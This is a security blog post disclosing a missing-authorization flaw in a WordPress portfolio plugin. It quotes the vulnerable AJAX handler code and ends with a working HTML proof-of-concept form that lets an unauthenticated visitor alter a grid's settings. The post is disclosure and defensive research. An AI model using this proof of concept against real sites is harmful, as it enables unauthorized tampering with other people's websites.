2 Aug 2019

Plugin New to WordPress Plugin Directory with “400,000+ Installs” Is Lacking Basic Security

The plugin Essential Grid Portfolio – Photo Gallery was closed on the WordPress Plugin Directory yesterday. That is one of the 1,000 most popular plugins with 400,000+ installs, so we were alerted to its closure. When we started looking in to the plugin to see if there were any vulnerabilities we should be warning users of the plugin that also use our service, we found that the situation with the plugin seemed odd. The plugin has 400,000+ installs, but was only added to the Plugin Directory on July 22.

In looking into what might explain that discrepancy led us to some oddities. Here is the bio for the developer on their website, navyplugins.com:

Already 10 years we are buildign different WordPRess websites and plugins. Houndrid of clients got setisified with our services and now is time to provide our product to masses.

Their listed address on their contact page is:

10 Stert View, Jonathon Road, New York, USA

That isn’t structured like a US address would be and doesn’t resolve to a location with Google Maps. Doing a Google search on the address brings up a number of identical looking websites that are otherwise claimed to be in different countries, so it might be the address is a default one that is listed with a theme.

One possible explanation for the installs count is that slug for the plugin is shared with a popular commercial plugin.

Whatever is going on with all that, when we started looking over the security of the plugin we noticed the plugin is lacking basic security. The plugin resister a function callback() to be accessible through WordPress AJAX functionality to those logged in to WordPress as well those not logged in:

12
13
add_action( 'wp_ajax_navy_grid_action', array( __CLASS__, 'callback' ) );
add_action( 'wp_ajax_nopriv_navy_grid_action', array( __CLASS__, 'callback' ) );

That function doesn’t appear like it should be accessible to those not logged in to WordPress, as the code starts out by saving changes to settings (options):

16
17
18
19
20
21
22
public static function callback() {
	global $wpdb;
	if ( $_POST['post'] == 'portfolioChangeOptions' ) {
		if ( isset( $_POST['id'] ) ) {
 
			if( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce( $_REQUEST['nonce'], 'navy_grid_change_options' ) ){
				die( __( 'Authentication failed', 'navy_grid' ) );

There should be a capabilities check there to limit who can access that, but at least there is a nonce check to prevent cross-site request forgery (CSRF). In the next section of code there are no security checks:

45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
if ( $_POST['post'] == 'portfolioSaveOptions' ) {
	if ( isset( $_POST["navy_grid_grid_id"] ) ) {
		$id = absint($_POST["navy_grid_grid_id"]);
		$wpdb->update(
			$wpdb->prefix . "navy_grid_grids",
			array(
				'navy_grid_show_sorting' => sanitize_text_field( $_POST["navy_grid_show_sorting"] ),
				'navy_grid_show_filtering' => sanitize_text_field( $_POST["navy_grid_show_filtering"] ),
				'description' => sanitize_text_field( $_POST["sl_pausetime"] ),
				'param' => sanitize_text_field( $_POST["sl_changespeed"] ),
				'pause_on_hover' => sanitize_text_field( $_POST["pause_on_hover"] ),
				'grid_view_type' => sanitize_text_field( $_POST["portfolio_effects_list"] ),
			),
			array('id' => $id),
			array('%s', '%s', '%s', '%s', '%s', '%s')
		);
	}
}

So anyone can change those settings connected with the plugin. The values are sanitized and some of them are limited to vary short lengths in the database, limiting the obvious additional damage that could be done with that.

We are not sure what explains the closure as the only change made before it was reopened was described this way in the changelog as:

Hotfix for critical issue which blocked users from adding new images to portfolios

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will change the param setting of the specified grid to “proof of concept”, as can be confirmed in the relevant database table.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[grid ID]” with ID of the grid to be modified.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=navy_grid_action" method="POST" enctype="multipart/form-data">
<input type="hidden" name="post" value="portfolioSaveOptions" />
<input type="hidden" name="navy_grid_grid_id" value="[grid ID]" />
<input type="hidden" name="navy_grid_show_sorting" value='1)' />
<input type="hidden" name="navy_grid_show_filtering" value='1' />
<input type="hidden" name="sl_pausetime" value='1' />
<input type="hidden" name="sl_changespeed" value='proof of concept' />
<input type="hidden" name="pause_on_hover" value='1' />
<input type="hidden" name="portfolio_effects_list" value='1' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Need Continued Support for a Closed Plugin?

Does your website depend on a WordPress plugin that is no longer being supported by the original developer? With our Abandoned WordPress Plugin Maintenance Service, we can maintain the plugin for you, so you can safely use the plugin going forward.

2 thoughts on “Plugin New to WordPress Plugin Directory with “400,000+ Installs” Is Lacking Basic Security

  1. > “One possible explanation for the installs count is that slug for the plugin is shared with a popular commercial plugin.”

    AFAIK, slug-sharing is the only explanation when you see a “new” plugin with lots of active installs. All WP sites send a list of installed plugins to wordpress.org daily. wordpress.org uses that to create the “active install” statistics. There’s no other data to identify a particular plugin than the slug – and that includes in the offering of updates. So, a plugin in the directory that matches a third-party plugin is bad news for the third-party plugin, because it will get replaced by any version at wordpress.org with a higher number. For this reason, the wordpress.org plugins team intend to not allow new plugins in the directory that match slugs of existing third-party plugins. Presumably this one slipped through.

    It takes one quick Google to identify the third party plugin here, which has approaching 40,000 sales on CodeCanyon.

    • That would be the most likely explanation for the install count, but there are others. A data error is possible, but a more likely scenario would be to use a botnet to send false data to boost the install count.

      What is strange about it slipping through is that the plugin was closed and then reopened, so presumably you had someone that looked at this after the initial approval and still missed that.

Leave a Reply

Your email address will not be published. Required fields are marked *